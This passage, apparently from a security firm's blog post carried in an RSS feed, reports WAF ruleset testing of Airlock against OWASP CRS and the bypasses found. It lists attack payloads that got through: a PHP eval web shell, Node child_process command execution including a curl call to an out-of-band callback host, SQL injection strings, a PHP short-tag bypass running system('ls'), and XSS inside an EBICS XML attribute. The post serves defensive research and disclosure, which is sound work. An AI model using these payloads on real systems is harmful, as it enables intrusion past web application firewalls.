&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_5018a596ec084d42ae5b06b62d8df650-1" name="rest_code_5018a596ec084d42ae5b06b62d8df650-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_5018a596ec084d42ae5b06b62d8df650-1"&gt;&lt;/a&gt;GET /?x=$_SERVER['test']; HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;File content:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_ab206eaae09e4a73a115d55063536d62-1" name="rest_code_ab206eaae09e4a73a115d55063536d62-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_ab206eaae09e4a73a115d55063536d62-1"&gt;&lt;/a&gt;&amp;lt;?php @eval($_POST["hacker"]); ?&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-934-application-attack-generic"&gt;
&lt;h3&gt;REQUEST-934-APPLICATION-ATTACK-GENERIC&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_e7fc136517a945ed9b0a8bb891c8ca37-1" name="rest_code_e7fc136517a945ed9b0a8bb891c8ca37-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_e7fc136517a945ed9b0a8bb891c8ca37-1"&gt;&lt;/a&gt;GET /get/?foo=eval%28String.fromCharCode HTTP/1.1
&lt;a id="rest_code_e7fc136517a945ed9b0a8bb891c8ca37-2" name="rest_code_e7fc136517a945ed9b0a8bb891c8ca37-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_e7fc136517a945ed9b0a8bb891c8ca37-2"&gt;&lt;/a&gt;GET /get/?foo=%0Arequire("child_process").exec('whoami') HTTP/1.1
&lt;a id="rest_code_e7fc136517a945ed9b0a8bb891c8ca37-3" name="rest_code_e7fc136517a945ed9b0a8bb891c8ca37-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_e7fc136517a945ed9b0a8bb891c8ca37-3"&gt;&lt;/a&gt;GET /?x=%0Arequire%3bx%3d"child_process"%3blol(x).spawn("curl",%20['5gmgdi7mjd5o3g8oj8gawq6n8ee5ht6.oastify.com'])%3b HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-942-application-attack-sqli"&gt;
&lt;h3&gt;REQUEST-942-APPLICATION-ATTACK-SQLI&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-1" name="rest_code_56029fb467394bc7b12fb998c34102b9-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-1"&gt;&lt;/a&gt;GET /?a=b,1=1 HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-2" name="rest_code_56029fb467394bc7b12fb998c34102b9-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-2"&gt;&lt;/a&gt;GET /?a=a=42%20like%2042 HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-3" name="rest_code_56029fb467394bc7b12fb998c34102b9-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-3"&gt;&lt;/a&gt;GET /?a=1%20is%20not%202 HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-4" name="rest_code_56029fb467394bc7b12fb998c34102b9-4" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-4"&gt;&lt;/a&gt;GET /?a=%271%27+not+regexp+%272%27 HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-5" name="rest_code_56029fb467394bc7b12fb998c34102b9-5" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-5"&gt;&lt;/a&gt;GET /?var=,+FIND_IN_SET('22',+Category+) HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-6" name="rest_code_56029fb467394bc7b12fb998c34102b9-6" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-6"&gt;&lt;/a&gt;GET /?var==1'+%2b+1+is+likelihood(0.0,0.0)+is+1-- HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-7" name="rest_code_56029fb467394bc7b12fb998c34102b9-7" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-7"&gt;&lt;/a&gt;GET /?var==1'+%2b+starts_with(password,'a')::int HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-8" name="rest_code_56029fb467394bc7b12fb998c34102b9-8" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-8"&gt;&lt;/a&gt;GET /?id=...(json_build_object(1,password)::jsonb)::int HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-9" name="rest_code_56029fb467394bc7b12fb998c34102b9-9" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-9"&gt;&lt;/a&gt;GET /?var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209 HTTP/1.1
&lt;a id="rest_code_56029fb467394bc7b12fb998c34102b9-10" name="rest_code_56029fb467394bc7b12fb998c34102b9-10" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_56029fb467394bc7b12fb998c34102b9-10"&gt;&lt;/a&gt;GET /?var=;INSERT+INTO+table+(col)+VALUES+1,2,3 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-944-application-attack-java"&gt;
&lt;h3&gt;REQUEST-944-APPLICATION-ATTACK-JAVA&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_893728385c6843e186539c723506d0df-1" name="rest_code_893728385c6843e186539c723506d0df-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_893728385c6843e186539c723506d0df-1"&gt;&lt;/a&gt;java.lang.ProcessBuilder
&lt;a id="rest_code_893728385c6843e186539c723506d0df-2" name="rest_code_893728385c6843e186539c723506d0df-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_893728385c6843e186539c723506d0df-2"&gt;&lt;/a&gt;java.lang.Runtime
&lt;a id="rest_code_893728385c6843e186539c723506d0df-3" name="rest_code_893728385c6843e186539c723506d0df-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_893728385c6843e186539c723506d0df-3"&gt;&lt;/a&gt;java.io.BufferedInputStream
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="bypassing-both-wafs"&gt;
&lt;h2&gt;Bypassing both WAFs&lt;/h2&gt;
&lt;p&gt;There was one more thing we wanted to do. We wanted to find something that bypasses both WAFs.&lt;/p&gt;
&lt;section id="php"&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;p&gt;After looking at the PHP regex of rules for CRS, we came up with the following valid PHP payload:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_c7784a7002e8442fa08bd2303a4bb7f2-1" name="rest_code_c7784a7002e8442fa08bd2303a4bb7f2-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_c7784a7002e8442fa08bd2303a4bb7f2-1"&gt;&lt;/a&gt;&amp;lt;?xml :system("ls")
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is valid PHP code with the short PHP start tag (&amp;lt;?) that executes a shell command, but bypasses the filter rules for both WAFs. PHP will interprete the "xml :" part as a label (e.g. used for goto).&lt;/p&gt;
&lt;p&gt;OWASP CRS checked for the short PHP start tag (&amp;lt;?) but excluded &amp;lt;?xml generically, which allowed the bypass. However, for CRS other rules such as Cross-Site Scripting prevention rules also triggered (multi-layer approach), meaning depending on the filter settings the payload could still be detected in some cases. After reporting the &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/3616"&gt;PHP filter bypass to OWASP CRS it was fixed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Although Airlock also has a rule to detect PHP short start tag payloads, for Airlock this payload resulted in a bypass.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="xml"&gt;
&lt;h3&gt;XML&lt;/h3&gt;
&lt;p&gt;To find a second bypass we simply used a payload from one of our &lt;a class="reference external" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/"&gt;old advisories that hides the Cross-side Scripting payload in an XML attribute&lt;/a&gt; :&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-1" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-1" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-1"&gt;&lt;/a&gt;POST /ebics-server/ebics.aspx HTTP/1.1
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-2" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-2" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-2"&gt;&lt;/a&gt;Content-Type: text/xml; charset=UTF-8
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-3" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-3" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-3"&gt;&lt;/a&gt;Host: www.example.org
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-4" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-4" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-4"&gt;&lt;/a&gt;Content-Length: 585
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-5" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-5" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-5"&gt;&lt;/a&gt;Connection: close
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-6" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-6" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-6"&gt;&lt;/a&gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-7" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-7" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-7"&gt;&lt;/a&gt;&amp;lt;?xml version="1.0" encoding="utf-8" standalone="no"?&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-8" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-8" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-8"&gt;&lt;/a&gt;&amp;lt;ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&amp;amp;lt;a autofocus onfocus=print(1) href&amp;amp;gt;&amp;amp;lt;/a&amp;amp;gt;;"&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-9" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-9" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-9"&gt;&lt;/a&gt;    &amp;lt;header authenticate="true"&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-10" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-10" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-10"&gt;&lt;/a&gt;        &amp;lt;static&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-11" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-11" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-11"&gt;&lt;/a&gt;            &amp;lt;HostID&amp;gt;AAA&amp;lt;/HostID&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-12" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-12" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-12"&gt;&lt;/a&gt;            &amp;lt;PartnerID&amp;gt;AAA&amp;lt;/PartnerID&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-13" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-13" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-13"&gt;&lt;/a&gt;            &amp;lt;UserID&amp;gt;AAA&amp;lt;/UserID&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-14" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-14" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-14"&gt;&lt;/a&gt;            &amp;lt;Product InstituteID="AAA" Language="de"&amp;gt;AAA&amp;lt;/Product&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-15" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-15" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-15"&gt;&lt;/a&gt;            &amp;lt;OrderDetails&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-16" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-16" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-16"&gt;&lt;/a&gt;                &amp;lt;OrderType&amp;gt;AAA&amp;lt;/OrderType&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-17" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-17" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-17"&gt;&lt;/a&gt;                &amp;lt;OrderAttribute&amp;gt;AAA&amp;lt;/OrderAttribute&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-18" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-18" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-18"&gt;&lt;/a&gt;            &amp;lt;/OrderDetails&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-19" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-19" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-19"&gt;&lt;/a&gt;            &amp;lt;SecurityMedium&amp;gt;0000&amp;lt;/SecurityMedium&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-20" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-20" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-20"&gt;&lt;/a&gt;        &amp;lt;/static&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-21" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-21" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-21"&gt;&lt;/a&gt;        &amp;lt;mutable/&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-22" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-22" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-22"&gt;&lt;/a&gt;    &amp;lt;/header&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-23" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-23" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-23"&gt;&lt;/a&gt;    &amp;lt;body&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-24" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-24" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-24"&gt;&lt;/a&gt;        &amp;lt;DataTransfer&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-25" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-25" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-25"&gt;&lt;/a&gt;            &amp;lt;OrderData&amp;gt;AAA&amp;lt;/OrderData&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-26" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-26" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-26"&gt;&lt;/a&gt;        &amp;lt;/DataTransfer&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-27" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-27" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-27"&gt;&lt;/a&gt;    &amp;lt;/body&amp;gt;
&lt;a id="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-28" name="rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-28" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_9a87b959088946f8b8c9a9f8ed4ab33b-28"&gt;&lt;/a&gt;&amp;lt;/ebicsUnsecuredRequest&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;While Airlock doesn't check file contents in-depth in general, it is &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/2847"&gt;still an open issue for CRS&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="summary"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The above results show what went through the Airlock WAF. But after looking at the above results, everyone can agree that it's not easy to tell what that means exactly and what is the right thing to do. Should Airlock block more? Are those useful attack strings? We decided that we do not want to pick apart all of the payloads and argue about them. We provide them for you as-is, so you can draw your own conclusions.&lt;/p&gt;
&lt;p&gt;After talking to Ergon, they opened internal tickets and said they are going to look at certain things from the above list. We agree that certain payloads are not yet full attacks, for other payloads we were expecting Airlock to block more.&lt;/p&gt;
&lt;p&gt;For CRS, one of the two mentioned issues is fixed; the other is still open.&lt;/p&gt;
&lt;p&gt;We have seen that Airlock did not block certain tests from CRS. Overall, it gave the impression of resulting in fewer false positives, as it seems to rather allow than block legitimate users. On the other hand, if you are looking for Server Side Request Forgery (SSRF) protection by default in URLs (URLs in URLs), you have to actively configure that when using Airlock. The impression of more false positives with CRS is probably in the nature of the project and again: whoever uses CRS must modify it to fit their needs. For example, if you use CRS and have users in Germany, &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/3644"&gt;users with first name Axel could get pretty upset&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Depending on your preference, you can tweak your WAF to reduce either false positives or false negatives. Some people prefer a WAF without false negatives because otherwise it can be bypassed. Other people will prefer fewer false positives because they are afraid to block legitimate cases or do not want to invest the time to configure every use case. When trying to argue in either direction, we seem to run in circles.&lt;/p&gt;
&lt;p&gt;Are you upset about any of our statements above? See, we told you it's a controversial topic to talk about.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="thanks"&gt;
&lt;h2&gt;Thanks&lt;/h2&gt;
&lt;p&gt;We would like to thank our customer who was open to let us look at the WAF in a whitebox approach and who agreed to do a publication of the results. Thanks goes out to the OWASP CRS team who responded to all our questions on Slack. Thanks also to Ergon for the call and feedback.&lt;/p&gt;
&lt;aside class="footnote-list brackets"&gt;
&lt;aside class="footnote brackets" id="footnote-1" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#footnote-reference-1"&gt;1&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;42&lt;/p&gt;
&lt;/aside&gt;
&lt;/aside&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/</guid><pubDate>Wed, 11 Dec 2024 12:00:00 GMT</pubDate></item></channel></rss>